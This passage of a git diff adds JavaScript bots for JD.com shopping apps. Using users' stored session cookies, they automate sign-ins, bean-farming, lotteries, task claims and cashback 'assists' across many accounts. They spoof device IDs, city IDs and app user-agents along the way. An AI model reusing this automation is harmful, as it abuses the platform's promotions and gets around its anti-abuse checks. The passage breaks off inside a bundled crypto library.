Math.round(Math.random() * (99999 - 10000) + 10000); +let cityid = Math.round(Math.random() * (1500 - 1000) + 1000); +!(async () => { + if (cookies.length == 0) { + if ($.env.isNode) { + if (process.env.JDDJ_CKPATH) ckPath = process.env.JDDJ_CKPATH; + let jdcookies = require(ckPath); + for (let key in jdcookies) if (!!jdcookies[key]) cookies.push(jdcookies[key]); + } + else { + let ckstr = $.read('#jddj_cookies'); + if (!!ckstr) { + if (ckstr.indexOf(',') < 0) { + cookies.push(ckstr); + } else { + cookies = ckstr.split(','); + } + } + } + } + if (cookies.length == 0) { + console.log(`\r\n请先填写cookie`); + return; + } + + for (let i = 0; i < cookies.length; i++) { + console.log(`\r\n★★★★★开始执行第${i + 1}个账号,共${cookies.length}个账号★★★★★`); + thiscookie = cookies[i]; + if (!thiscookie) continue; + + thiscookie = await taskLoginUrl(thiscookie); + + await userinfo(); + await $.wait(1000); + + let tslist = await taskList(); + if (tslist.code == 1) { + $.notify('第' + (i + 1) + '个账号cookie过期', '请访问\nhttps://bean.m.jd.com/bean/signIndex.action\n抓取cookie', { url: 'https://bean.m.jd.com/bean/signIndex.action' }); + continue; + } + + await sign(); + await $.wait(1000); + + await beansLottery(); + await $.wait(1000); + + await getPoints(); + await $.wait(1000); + + await runTask(tslist); + await $.wait(1000); + + await watering(); + await $.wait(1000); + + } + +})().catch((e) => { + console.log('', `❌失败! 原因: ${e}!`, ''); +}).finally(() => { + $.done(); +}) + +//个人信息 +async function userinfo() { + return new Promise(async resolve => { + try { + let option = urlTask('https://daojia.jd.com/client?_jdrandom=' + Math.round(new Date()) + '&platCode=H5&appName=paidaojia&channel=&appVersion=8.7.6&jdDevice=&functionId=mine%2FgetUserAccountInfo&body=%7B%22refPageSource%22:%22%22,%22fromSource%22:2,%22pageSource%22:%22myinfo%22,%22ref%22:%22%22,%22ctp%22:%22myinfo%22%7D&jda=&traceId=' + deviceid + Math.round(new Date()) + '&deviceToken=' + deviceid + '&deviceId=' + deviceid + '', '') + + $.http.get(option).then(response => { + let data = JSON.parse(response.body); + if (data.code == 0) { + nickname = data.result.userInfo.userBaseInfo.nickName; + console.log("●●●" + nickname + "●●●"); + } + }) + resolve(); + + } catch (error) { + console.log('\n【个人信息】:' + error); + resolve(); + } + }) +} + +//任务列表 +async function taskList() { + return new Promise(async resolve => { + try { + let option = urlTask('https://daojia.jd.com/client?_jdrandom=' + Math.round(new Date()) + '&functionId=task%2Flist&isNeedDealError=true&body=%7B%22modelId%22%3A%22M10003%22%2C%22plateCode%22%3A1%7D&channel=ios&platform=6.6.0&platCode=h5&appVersion=6.6.0&appName=paidaojia&deviceModel=appmodel&traceId=' + deviceid + '&deviceToken=' + deviceid + '&deviceId=' + deviceid, ''); + + $.http.get(option).then(response => { + var data = JSON.parse(response.body); + //console.log(response.body); + resolve(data); + }) + + } catch (error) { + console.log('\n【任务列表】:' + error); + resolve({}); + } + }) +} + +//庄园签到 +async function sign() { + return new Promise(async resolve => { + try { + let option = urlTask('https://daojia.jd.com/client?_jdrandom=' + Math.round(new Date()) + '&functionId=signin%2FuserSigninNew&isNeedDealError=true&body=%7B%22channel%22%3A%22qiandao_indexball%22%2C%22cityId%22%3A' + cityid + '%2C%22longitude%22%3A' + lng + '%2C%22latitude%22%3A' + lat + '%2C%22ifCic%22%3A0%7D&lat=' + lat + '&lng=' + lng + '&lat_pos=' + lat + '&lng_pos=' + lng + '&city_id=' + cityid + '&channel=ios&platform=6.6.0&platCode=h5&appVersion=6.6.0&appName=paidaojia&deviceModel=appmodel&traceId=' + deviceid + Math.round(new Date()) + '&deviceToken=' + deviceid + '&deviceId=' + deviceid + '', ``); + $.http.get(option).then(response => { + let data = JSON.parse(response.body); + console.log('\n【庄园签到】:' + data.msg); + resolve(); + }) + + } catch (error) { + console.log('\n【庄园签到】:' + error); + resolve(); + } + }) +} + +//浇水 +async function watering() { + return new Promise(async resolve => { + try { + let option = urlTask('https://daojia.jd.com/client?_jdrandom=' + Math.round(new Date()), 'functionId=plantBeans%2Fwatering&isNeedDealError=true&method=POST&body=%7B%22activityId%22%3A%2223e4a58bca00bef%22%2C%22waterAmount%22%3A100%7D&lat=' + lat + '&lng=' + lng + '&lat_pos=' + lat + '&lng_pos=' + lng + '&city_id=' + cityid + '&channel=ios&platform=6.6.0&platCode=h5&appVersion=6.6.0&appName=paidaojia&deviceModel=appmodel&traceId=' + deviceid + Math.round(new Date()) + '&deviceToken=' + deviceid + '&deviceId=' + deviceid + ''); + + let waterStatus = 1, waterCount = 0; + do { + waterCount++; + console.log(`\n**********开始执行第${waterCount}次浇水**********`); + + await $.http.post(option).then(async response => { + let data = JSON.parse(response.body); + console.log('\n【浇水】:' + data.msg); + waterStatus = data.code; + }) + await $.wait(1000); + } while (waterStatus == 0); + resolve(); + + } catch (error) { + console.log('\n【浇水】:' + error); + resolve(); + } + + }) +} + +//一轮结束领鲜豆并参加下一轮 +async function getPoints() { + return new Promise(async resolve => { + try { + let option = urlTask('https://daojia.jd.com/client?_jdrandom=' + Math.round(new Date()) + '&_funid_=plantBeans/getActivityInfo', 'functionId=plantBeans%2FgetActivityInfo&isNeedDealError=true&method=POST&body=%7B%7D&lat=' + lat + '&lng=' + lat + '&lat_pos=' + lat + '&lng_pos=' + lat + '&city_id=' + cityid + '&channel=ios&platform=6.6.0&platCode=h5&appVersion=6.6.0&appName=paidaojia&deviceModel=appmodel&traceId=' + deviceid + Math.round(new Date()) + '&deviceToken=' + deviceid + '&deviceId=' + deviceid); + + let perid = '', nextid = ''; activityDay = '', pre_buttonId = 0; + await $.http.post(option).then(response => { + //console.log(response.body); + let data = JSON.parse(response.body); + perid = data.result.pre.activityId; + if (data.result.next) nextid = data.result.next.activityId; + activityDay = data.result.cur.activityDay; + pre_buttonId = data.result.pre.buttonId; + }) + + await $.wait(1000); + + //var date = new Date(); + //activityDay = activityDay.split('-')[1].split('.')[1]; + if (pre_buttonId == 1) { + option = urlTask('https://daojia.jd.com/client?_jdrandom=' + Math.round(new Date()), 'functionId=plantBeans%2FgetPoints&isNeedDealError=true&method=POST&body=%7B%22activityId%22%3A%22' + perid + '%22%7D&lat=' + lat + '&lng=' + lng + '&lat_pos=' + lat + '&lng_pos=' + lng + '&city_id=' + cityid + '&channel=ios&platform=6.6.0&platCode=h5&appVersion=6.6.0&appName=paidaojia&deviceModel=appmodel&traceId=' + deviceid + Math.round(new Date()) + '&deviceToken=' + deviceid + '&deviceId=' + deviceid + ''); + + await $.http.post(option).then(response => { + let data = JSON.parse(response.body); + console.log('\n【一轮结束领鲜豆】:' + data.msg); + }) + + await $.wait(1000); + + // option = urlTask('https://daojia.jd.com/client?_jdrandom=' + Math.round(new Date()), 'functionId=plantBeans%2FgetActivityInfo&isNeedDealError=true&method=POST&body=%7B%22activityId%22%3A%22' + nextid + '%22%7D&lat=' + lat + '&lng=' + lng + '&lat_pos=' + lat + '&lng_pos=' + lng + '&city_id=' + cityid + '&channel=ios&platform=6.6.0&platCode=h5&appVersion=6.6.0&appName=paidaojia&deviceModel=appmodel&traceId=' + deviceid + Math.round(new Date()) + '&deviceToken=' + deviceid + '&deviceId=' + deviceid + ''); + + // await $.http.post(option).then(response => { + // let data = JSON.parse(response.body); + // console.log('\n【参加下一轮种鲜豆】:' + data.msg); + // }) + } + + } catch (error) { + console.log('\n【一轮结束领鲜豆】:' + error); + resolve(); + } finally { + resolve(); + } + + }) + +} + +//发现露水 +async function beansLottery() { + return new Promise(async resolve => { + try { + for (let index = 0; index < 20; index++) { + let option = urlTask('https://daojia.jd.com/client?_jdrandom=' + Math.round(new Date()) + '&_funid_=plantBeans/beansLottery', 'functionId=plantBeans%2FbeansLottery&isNeedDealError=true&method=POST&body=%7B%22activityId%22%3A%22241254dc8b9ae89%22%7D&lat=' + lat + '&lng=' + lng + '&lat_pos=' + lat + '&lng_pos=' + lng + '&city_id=' + cityid + '&channel=ios&platform=6.6.0&platCode=h5&appVersion=6.6.0&appName=paidaojia&deviceModel=appmodel&traceId=' + deviceid + '&deviceToken=' + deviceid + '&deviceId=' + deviceid); + await $.http.post(option).then(response => { + let data = JSON.parse(response.body); + if (!!data.result.water) console.log('\n【发现露水】:' + data.result.water + 'g'); + else console.log('\n【发现露水】:' + data.result.text.replace(/\n/g, '')); + }); + await $.wait(1000); + } + resolve(); + + } catch (error) { + console.log('\n【发现露水】:' + error); + resolve(); + } + }) +} + +async function runTask(tslist) { + return new Promise(async resolve => { + try { + for (let index = 0; index < tslist.result.taskInfoList.length; index++) { + const item = tslist.result.taskInfoList[index]; + + //领取任务 + let option = urlTask('https://daojia.jd.com/client?_jdrandom=' + Math.round(new Date()) + '&functionId=task%2Freceived&isNeedDealError=true&body=%7B%22modelId%22%3A%22' + item.modelId + '%22%2C%22taskId%22%3A%22' + item.taskId + '%22%2C%22taskType%22%3A' + item.taskType + '%2C%22plateCode%22%3A1%7D&channel=ios&platform=6.6.0&platCode=h5&appVersion=6.6.0&appName=paidaojia&deviceModel=appmodel&traceId=' + deviceid + Math.round(new Date()) + '&deviceToken=' + deviceid + '&deviceId=' + deviceid + '', ``); + await $.http.get(option).then(response => { + var data = JSON.parse(response.body), msg = ''; + if (data.code == 0) { + msg = data.msg + ',奖励:' + data.result.awardValue; + } else { + msg = data.msg; + } + console.log('\n领取任务【' + item.taskName + '】:' + msg); + }) + + if (item.browseTime > -1) { + for (let t = 0; t < parseInt(item.browseTime); t++) { + await $.wait(1000); + console.log('计时:' + (t + 1) + '秒...'); + } + } + + //结束任务 + option = urlTask('https://daojia.jd.com/client?_jdrandom=' + Math.round(new Date()) + '&functionId=task%2Ffinished&isNeedDealError=true&body=%7B%22modelId%22%3A%22' + item.modelId + '%22%2C%22taskId%22%3A%22' + item.taskId + '%22%2C%22taskType%22%3A' + item.taskType + '%2C%22plateCode%22%3A1%7D&channel=ios&platform=6.6.0&platCode=h5&appVersion=6.6.0&appName=paidaojia&deviceModel=appmodel&traceId=' + deviceid + Math.round(new Date()) + '&deviceToken=' + deviceid + '&deviceId=' + deviceid + '', ``); + await $.http.get(option).then(response => { + var data = JSON.parse(response.body), msg = ''; + if (data.code == 0) { + msg = data.msg + ',奖励:' + data.result.awardValue; + } else { + msg = data.msg; + } + console.log('\n任务完成【' + item.taskName + '】:' + msg); + }) + + //领取奖励 + option = urlTask('https://daojia.jd.com/client?_jdrandom=1618492672164&functionId=task%2FsendPrize&isNeedDealError=true&body=%7B%22modelId%22%3A%22' + item.modelId + '%22%2C%22taskId%22%3A%22' + item.taskId + '%22%2C%22taskType%22%3A' + item.taskType + '%2C%22plateCode%22%3A1%7D&channel=ios&platform=6.6.0&platCode=h5&appVersion=6.6.0&appName=paidaojia&deviceModel=appmodel&traceId=' + deviceid + Math.round(new Date()) + '&deviceToken=' + deviceid + '&deviceId=' + deviceid + '', ``); + await $.http.get(option).then(response => { + var data = JSON.parse(response.body), msg = ''; + if (data.code == 0) { + msg = data.msg + ',奖励:' + data.result.awardValue; + } else { + msg = data.msg; + } + console.log('\n领取奖励【' + item.taskName + '】:' + msg); + }) + + + } + resolve(); + } catch (error) { + console.log('\n【执行任务】:' + error); + resolve(); + } + + }) +} + +function urlTask(url, body) { + let option = { + url: url, + headers: { + 'Host': 'daojia.jd.com', + 'Content-Type': 'application/x-www-form-urlencoded;', + 'Origin': 'https://daojia.jd.com', + 'Cookie': thiscookie, + 'Connection': 'keep-alive', + 'Accept': '*/*', + 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 14_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148________appName=jdLocal&platform=iOS&commonParams={"sharePackageVersion":"2"}&djAppVersion=8.7.5&supportDJSHWK', + 'Accept-Language': 'zh-cn' + }, + body: body + }; + return option; +} + +//根据京东ck获取到家ck +async function taskLoginUrl(thiscookie) { + return new Promise(async resolve => { + try { + if (thiscookie.indexOf('deviceid_pdj_jd') > -1) { + let arr = thiscookie.split(';'); + for (const o of arr) { + if (o.indexOf('deviceid_pdj_jd') > -1) { + deviceid = o.split('=')[1]; + } + } + resolve(thiscookie); + } + else { + deviceid = _uuid(); + let option = { + url: encodeURI('https://daojia.jd.com/client?_jdrandom=' + (+new Date()) + '&_funid_=login/treasure&functionId=login/treasure&body={}&lat=&lng=&lat_pos=&lng_pos=&city_id=&channel=h5&platform=6.6.0&platCode=h5&appVersion=6.6.0&appName=paidaojia&deviceModel=appmodel&isNeedDealError=false&traceId=' + deviceid + '&deviceToken=' + deviceid + '&deviceId=' + deviceid + '&_jdrandom=' + (+new Date()) + '&_funid_=login/treasure'), + headers: { + "Cookie": 'deviceid_pdj_jd=' + deviceid + ';' + thiscookie + ';', + "Host": "daojia.jd.com", + 'Content-Type': 'application/x-www-form-urlencoded;', + "User-Agent": 'jdapp;iPhone;10.0.10;14.1;' + deviceid + ';network/wifi;model/iPhone11,6;appBuild/167764;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1' + } + }; + let ckstr = ''; + await $.http.get(option).then(async response => { + //console.log(response); + let body = JSON.parse(response.body); + if (body.code == 0) { + for (const key in response.headers) { + if (key.toLowerCase().indexOf('cookie') > -1) { + ckstr = response.headers[key].toString(); + } + } + ckstr += ';deviceid_pdj_jd=' + deviceid; + } + else { + console.log(body.msg); + } + }); + resolve(ckstr); + } + + } catch (error) { + console.log(error); + resolve(''); + } + }) +} + +function _uuid() { + function s4() { + return Math.floor((1 + Math.random()) * 0x10000).toString(16).substring(1); + } + return s4() + s4() + '-' + s4() + '-' + s4() + '-' + s4() + '-' + s4() + s4() + s4(); +} + +/*********************************** API *************************************/ +function ENV() { const e = "undefined" != typeof $task, t = "undefined" != typeof $loon, s = "undefined" != typeof $httpClient && !t, i = "function" == typeof require && "undefined" != typeof $jsbox; return { isQX: e, isLoon: t, isSurge: s, isNode: "function" == typeof require && !i, isJSBox: i, isRequest: "undefined" != typeof $request, isScriptable: "undefined" != typeof importModule } } function HTTP(e = { baseURL: "" }) { const { isQX: t, isLoon: s, isSurge: i, isScriptable: n, isNode: o } = ENV(), r = /https?:\/\/(www\.)?[-a-zA-Z0-9@:%._\+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}\b([-a-zA-Z0-9()@:%_\+.~#?&\/\/=]*)/; const u = {}; return ["GET", "POST", "PUT", "DELETE", "HEAD", "OPTIONS", "PATCH"].forEach(l => u[l.toLowerCase()] = (u => (function (u, l) { l = "string" == typeof l ? { url: l } : l; const h = e.baseURL; h && !r.test(l.url || "") && (l.url = h ? h + l.url : l.url); const a = (l = { ...e, ...l }).timeout, c = { onRequest: () => { }, onResponse: e => e, onTimeout: () => { }, ...l.events }; let f, d; if (c.onRequest(u, l), t) f = $task.fetch({ method: u, ...l }); else if (s || i || o) f = new Promise((e, t) => { (o ? require("request") : $httpClient)[u.toLowerCase()](l, (s, i, n) => { s ? t(s) : e({ statusCode: i.status || i.statusCode, headers: i.headers, body: n }) }) }); else if (n) { const e = new Request(l.url); e.method = u, e.headers = l.headers, e.body = l.body, f = new Promise((t, s) => { e.loadString().then(s => { t({ statusCode: e.response.statusCode, headers: e.response.headers, body: s }) }).catch(e => s(e)) }) } const p = a ? new Promise((e, t) => { d = setTimeout(() => (c.onTimeout(), t(`${u} URL: ${l.url} exceeds the timeout ${a} ms`)), a) }) : null; return (p ? Promise.race([p, f]).then(e => (clearTimeout(d), e)) : f).then(e => c.onResponse(e)) })(l, u))), u } function API(e = "untitled", t = !1) { const { isQX: s, isLoon: i, isSurge: n, isNode: o, isJSBox: r, isScriptable: u } = ENV(); return new class { constructor(e, t) { this.name = e, this.debug = t, this.http = HTTP(), this.env = ENV(), this.node = (() => { if (o) { return { fs: require("fs") } } return null })(), this.initCache(); Promise.prototype.delay = function (e) { return this.then(function (t) { return ((e, t) => new Promise(function (s) { setTimeout(s.bind(null, t), e) }))(e, t) }) } } initCache() { if (s && (this.cache = JSON.parse($prefs.valueForKey(this.name) || "{}")), (i || n) && (this.cache = JSON.parse($persistentStore.read(this.name) || "{}")), o) { let e = "root.json"; this.node.fs.existsSync(e) || this.node.fs.writeFileSync(e, JSON.stringify({}), { flag: "wx" }, e => console.log(e)), this.root = {}, e = `${this.name}.json`, this.node.fs.existsSync(e) ? this.cache = JSON.parse(this.node.fs.readFileSync(`${this.name}.json`)) : (this.node.fs.writeFileSync(e, JSON.stringify({}), { flag: "wx" }, e => console.log(e)), this.cache = {}) } } persistCache() { const e = JSON.stringify(this.cache, null, 2); s && $prefs.setValueForKey(e, this.name), (i || n) && $persistentStore.write(e, this.name), o && (this.node.fs.writeFileSync(`${this.name}.json`, e, { flag: "w" }, e => console.log(e)), this.node.fs.writeFileSync("root.json", JSON.stringify(this.root, null, 2), { flag: "w" }, e => console.log(e))) } write(e, t) { if (this.log(`SET ${t}`), -1 !== t.indexOf("#")) { if (t = t.substr(1), n || i) return $persistentStore.write(e, t); if (s) return $prefs.setValueForKey(e, t); o && (this.root[t] = e) } else this.cache[t] = e; this.persistCache() } read(e) { return this.log(`READ ${e}`), -1 === e.indexOf("#") ? this.cache[e] : (e = e.substr(1), n || i ? $persistentStore.read(e) : s ? $prefs.valueForKey(e) : o ? this.root[e] : void 0) } delete(e) { if (this.log(`DELETE ${e}`), -1 !== e.indexOf("#")) { if (e = e.substr(1), n || i) return $persistentStore.write(null, e); if (s) return $prefs.removeValueForKey(e); o && delete this.root[e] } else delete this.cache[e]; this.persistCache() } notify(e, t = "", l = "", h = {}) { const a = h["open-url"], c = h["media-url"]; if (s && $notify(e, t, l, h), n && $notification.post(e, t, l + `${c ? "\n多媒体:" + c : ""}`, { url: a }), i) { let s = {}; a && (s.openUrl = a), c && (s.mediaUrl = c), "{}" === JSON.stringify(s) ? $notification.post(e, t, l) : $notification.post(e, t, l, s) } if (o || u) { const s = l + (a ? `\n点击跳转: ${a}` : "") + (c ? `\n多媒体: ${c}` : ""); if (r) { require("push").schedule({ title: e, body: (t ? t + "\n" : "") + s }) } else console.log(`${e}\n${t}\n${s}\n\n`) } } log(e) { this.debug && console.log(`[${this.name}] LOG: ${this.stringify(e)}`) } info(e) { console.log(`[${this.name}] INFO: ${this.stringify(e)}`) } error(e) { console.log(`[${this.name}] ERROR: ${this.stringify(e)}`) } wait(e) { return new Promise(t => setTimeout(t, e)) } done(e = {}) { console.log('done!'); s || i || n ? $done(e) : o && !r && "undefined" != typeof $context && ($context.headers = e.headers, $context.statusCode = e.statusCode, $context.body = e.body) } stringify(e) { if ("string" == typeof e || e instanceof String) return e; try { return JSON.stringify(e, null, 2) } catch (e) { return "[object Object]" } } }(e, t) } +/*****************************************************************************/ diff --git a/jddj_plantBeans.json b/jddj_plantBeans.json new file mode 100644 index 0000000..9e26dfe --- /dev/null +++ b/jddj_plantBeans.json @@ -0,0 +1 @@ +{} \ No newline at end of file diff --git a/jx_aid_cashback.js b/jx_aid_cashback.js new file mode 100644 index 0000000..cb68b0d --- /dev/null +++ b/jx_aid_cashback.js @@ -0,0 +1,49 @@ +let common = require("./function/common"); +let $ = new common.env('京喜购物返红包助力'); +let min = 5, + help = $.config[$.filename(__filename)] || Math.min(min, $.config.JdMain) || min; +$.setOptions({ + headers: { + 'content-type': 'application/json', + 'user-agent': 'jdapp;iPhone;9.4.6;14.2;965af808880443e4c1306a54afdd5d5ae771de46;network/wifi;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone8,4;addressid/;supportBestPay/0;appBuild/167618;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'referer': 'https://happy.m.jd.com/babelDiy/Zeus/3ugedFa7yA6NhxLN5gw2L3PF9sQC/index.html?asid=287215626&un_area=12_904_905_57901&lng=117.612969135975&lat=23.94014745198865', + } +}); +$.readme = ` +在京喜下单,如订单有购物返现,脚本会自动查询返现groupid并予以助力,目前每个账号每天能助力3次 +44 */6 * * * task ${$.runfile} +export ${$.runfile}=2 #如需增加被助力账号,在这边修改人数 +` +eval(common.eval.mainEval($)); +async function prepare() { + let url = `https://wq.jd.com/bases/orderlist/list?order_type=3&start_page=1&last_page=0&page_size=10&callersource=newbiz&t=${$.timestamp}&traceid=&g_ty=ls&g_tk=606717070` + for (let j of cookies['help']) { + $.setCookie(j); + await $.curl(url) + try { + for (let k of $.source.orderList) { + try { + let orderid = k.parentId != '0' ? k.parentId : k.orderId + let url = `https://wq.jd.com/fanxianzl/zhuli/QueryGroupDetail?isquerydraw=1&orderid=${orderid}&groupid=&sceneval=2&g_login_type=1&g_ty=ls` + let dec = await jxAlgo.dec(url) + await $.curl(dec.url) + let now = parseInt(new Date() / 1000) + let end = $.source.data.groupinfo.end_time + if (end > now && $.source.data.groupinfo.openhongbaosum != $.source.data.groupinfo.totalhongbaosum) { + let groupid = $.source.data.groupinfo.groupid; + $.sharecode.push({ + 'groupid': groupid + }) + } + } catch (e) {} + } + } catch (e) {} + } +} +async function main(id) { + common.assert(id.groupid, '没有可助力ID') + let url = `http://wq.jd.com/fanxianzl/zhuli/Help?groupid=${id.groupid}&_stk=groupid&_ste=2&g_ty=ls&g_tk=1710198667&sceneval=2&g_login_type=1` + let dec = await jxAlgo.dec(url) + await $.curl(dec.url) + console.log($.source.data.prize.discount) +} diff --git a/jx_sign.js b/jx_sign.js new file mode 100644 index 0000000..6685843 --- /dev/null +++ b/jx_sign.js @@ -0,0 +1,694 @@ +/* +京喜签到 +cron 20 1,8 * * * jx_sign.js +活动入口:京喜APP-我的-京喜签到 + +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#京喜签到 +20 1,8 * * * https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jx_sign.js, tag=京喜签到, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jxcfd.png, enabled=true + +================Loon============== +[Script] +cron "20 1,8 * * *" script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jx_sign.js,tag=京喜签到 + +===============Surge================= +京喜签到 = type=cron,cronexp="20 1,8 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jx_sign.js + +============小火箭========= +京喜签到 = type=cron,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jx_sign.js, cronexpr="20 1,8 * * *", timeout=3600, enable=true + */ +!function (t, r) { "object" == typeof exports ? module.exports = exports = r() : "function" == typeof define && define.amd ? define([], r) : t.CryptoJS = r() }(this, function () { + var t = t || function (t, r) { var e = Object.create || function () { function t() { } return function (r) { var e; return t.prototype = r, e = new t, t.prototype = null, e } }(), i = {}, n = i.lib = {}, o = n.Base = function () { return { extend: function (t) { var r = e(this); return t && r.mixIn(t), r.hasOwnProperty("init") && this.init !== r.init || (r.init = function () { r.$super.init.apply(this, arguments) }), r.init.prototype = r, r.$super = this, r }, create: function () { var t = this.extend(); return t.init.apply(t, arguments), t }, init: function () { }, mixIn: function (t) { for (var r in t) t.hasOwnProperty(r) && (this[r] = t[r]); t.hasOwnProperty("toString") && (this.toString = t.toString) }, clone: function () { return this.init.prototype.extend(this) } } }(), s = n.WordArray = o.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 4 * t.length }, toString: function (t) { return (t || c).stringify(this) }, concat: function (t) { var r = this.words, e = t.words, i = this.sigBytes, n = t.sigBytes; if (this.clamp(), i % 4) for (var o = 0; o < n; o++) { var s = e[o >>> 2] >>> 24 - o % 4 * 8 & 255; r[i + o >>> 2] |= s << 24 - (i + o) % 4 * 8 } else for (var o = 0; o < n; o += 4)r[i + o >>> 2] = e[o >>> 2]; return this.sigBytes += n, this }, clamp: function () { var r = this.words, e = this.sigBytes; r[e >>> 2] &= 4294967295 << 32 - e % 4 * 8, r.length = t.ceil(e / 4) }, clone: function () { var t = o.clone.call(this); return t.words = this.words.slice(0), t }, random: function (r) { for (var e, i = [], n = function (r) { var r = r, e = 987654321, i = 4294967295; return function () { e = 36969 * (65535 & e) + (e >> 16) & i, r = 18e3 * (65535 & r) + (r >> 16) & i; var n = (e << 16) + r & i; return n /= 4294967296, n += .5, n * (t.random() > .5 ? 1 : -1) } }, o = 0; o < r; o += 4) { var a = n(4294967296 * (e || t.random())); e = 987654071 * a(), i.push(4294967296 * a() | 0) } return new s.init(i, r) } }), a = i.enc = {}, c = a.Hex = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push((o >>> 4).toString(16)), i.push((15 & o).toString(16)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i += 2)e[i >>> 3] |= parseInt(t.substr(i, 2), 16) << 24 - i % 8 * 4; return new s.init(e, r / 2) } }, h = a.Latin1 = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 2] |= (255 & t.charCodeAt(i)) << 24 - i % 4 * 8; return new s.init(e, r) } }, l = a.Utf8 = { stringify: function (t) { try { return decodeURIComponent(escape(h.stringify(t))) } catch (t) { throw new Error("Malformed UTF-8 data") } }, parse: function (t) { return h.parse(unescape(encodeURIComponent(t))) } }, f = n.BufferedBlockAlgorithm = o.extend({ reset: function () { this._data = new s.init, this._nDataBytes = 0 }, _append: function (t) { "string" == typeof t && (t = l.parse(t)), this._data.concat(t), this._nDataBytes += t.sigBytes }, _process: function (r) { var e = this._data, i = e.words, n = e.sigBytes, o = this.blockSize, a = 4 * o, c = n / a; c = r ? t.ceil(c) : t.max((0 | c) - this._minBufferSize, 0); var h = c * o, l = t.min(4 * h, n); if (h) { for (var f = 0; f < h; f += o)this._doProcessBlock(i, f); var u = i.splice(0, h); e.sigBytes -= l } return new s.init(u, l) }, clone: function () { var t = o.clone.call(this); return t._data = this._data.clone(), t }, _minBufferSize: 0 }), u = (n.Hasher = f.extend({ cfg: o.extend(), init: function (t) { this.cfg = this.cfg.extend(t), this.reset() }, reset: function () { f.reset.call(this), this._doReset() }, update: function (t) { return this._append(t), this._process(), this }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, blockSize: 16, _createHelper: function (t) { return function (r, e) { return new t.init(e).finalize(r) } }, _createHmacHelper: function (t) { return function (r, e) { return new u.HMAC.init(t, e).finalize(r) } } }), i.algo = {}); return i }(Math); return function () { function r(t, r, e) { for (var i = [], o = 0, s = 0; s < r; s++)if (s % 4) { var a = e[t.charCodeAt(s - 1)] << s % 4 * 2, c = e[t.charCodeAt(s)] >>> 6 - s % 4 * 2; i[o >>> 2] |= (a | c) << 24 - o % 4 * 8, o++ } return n.create(i, o) } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Base64 = { stringify: function (t) { var r = t.words, e = t.sigBytes, i = this._map; t.clamp(); for (var n = [], o = 0; o < e; o += 3)for (var s = r[o >>> 2] >>> 24 - o % 4 * 8 & 255, a = r[o + 1 >>> 2] >>> 24 - (o + 1) % 4 * 8 & 255, c = r[o + 2 >>> 2] >>> 24 - (o + 2) % 4 * 8 & 255, h = s << 16 | a << 8 | c, l = 0; l < 4 && o + .75 * l < e; l++)n.push(i.charAt(h >>> 6 * (3 - l) & 63)); var f = i.charAt(64); if (f) for (; n.length % 4;)n.push(f); return n.join("") }, parse: function (t) { var e = t.length, i = this._map, n = this._reverseMap; if (!n) { n = this._reverseMap = []; for (var o = 0; o < i.length; o++)n[i.charCodeAt(o)] = o } var s = i.charAt(64); if (s) { var a = t.indexOf(s); a !== -1 && (e = a) } return r(t, e, n) }, _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" } }(), function (r) { function e(t, r, e, i, n, o, s) { var a = t + (r & e | ~r & i) + n + s; return (a << o | a >>> 32 - o) + r } function i(t, r, e, i, n, o, s) { var a = t + (r & i | e & ~i) + n + s; return (a << o | a >>> 32 - o) + r } function n(t, r, e, i, n, o, s) { var a = t + (r ^ e ^ i) + n + s; return (a << o | a >>> 32 - o) + r } function o(t, r, e, i, n, o, s) { var a = t + (e ^ (r | ~i)) + n + s; return (a << o | a >>> 32 - o) + r } var s = t, a = s.lib, c = a.WordArray, h = a.Hasher, l = s.algo, f = []; !function () { for (var t = 0; t < 64; t++)f[t] = 4294967296 * r.abs(r.sin(t + 1)) | 0 }(); var u = l.MD5 = h.extend({ _doReset: function () { this._hash = new c.init([1732584193, 4023233417, 2562383102, 271733878]) }, _doProcessBlock: function (t, r) { for (var s = 0; s < 16; s++) { var a = r + s, c = t[a]; t[a] = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8) } var h = this._hash.words, l = t[r + 0], u = t[r + 1], d = t[r + 2], v = t[r + 3], p = t[r + 4], _ = t[r + 5], y = t[r + 6], g = t[r + 7], B = t[r + 8], w = t[r + 9], k = t[r + 10], S = t[r + 11], m = t[r + 12], x = t[r + 13], b = t[r + 14], H = t[r + 15], z = h[0], A = h[1], C = h[2], D = h[3]; z = e(z, A, C, D, l, 7, f[0]), D = e(D, z, A, C, u, 12, f[1]), C = e(C, D, z, A, d, 17, f[2]), A = e(A, C, D, z, v, 22, f[3]), z = e(z, A, C, D, p, 7, f[4]), D = e(D, z, A, C, _, 12, f[5]), C = e(C, D, z, A, y, 17, f[6]), A = 